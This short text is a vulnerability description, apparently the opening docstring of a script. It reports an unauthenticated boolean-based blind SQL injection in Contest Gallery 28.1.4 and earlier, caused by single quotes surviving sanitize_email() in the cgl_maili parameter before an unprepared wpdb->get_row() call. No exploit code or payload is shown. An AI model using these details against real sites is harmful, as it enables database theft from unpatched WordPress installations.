"""
Description

A Blind SQL Injection vulnerability exists in Contest Gallery versions 28.1.4 and earlier. The issue is caused by the unsafe use of the cgl_maili parameter, where sanitize_email() preserves the single quote (') character in the local part of an email address. As a result, user-controlled input reaches wpdb->get_row() without proper parameterization via prepare(), allowing unauthenticated attackers to perform boolean-based blind SQL injection.
Authentication Required: No
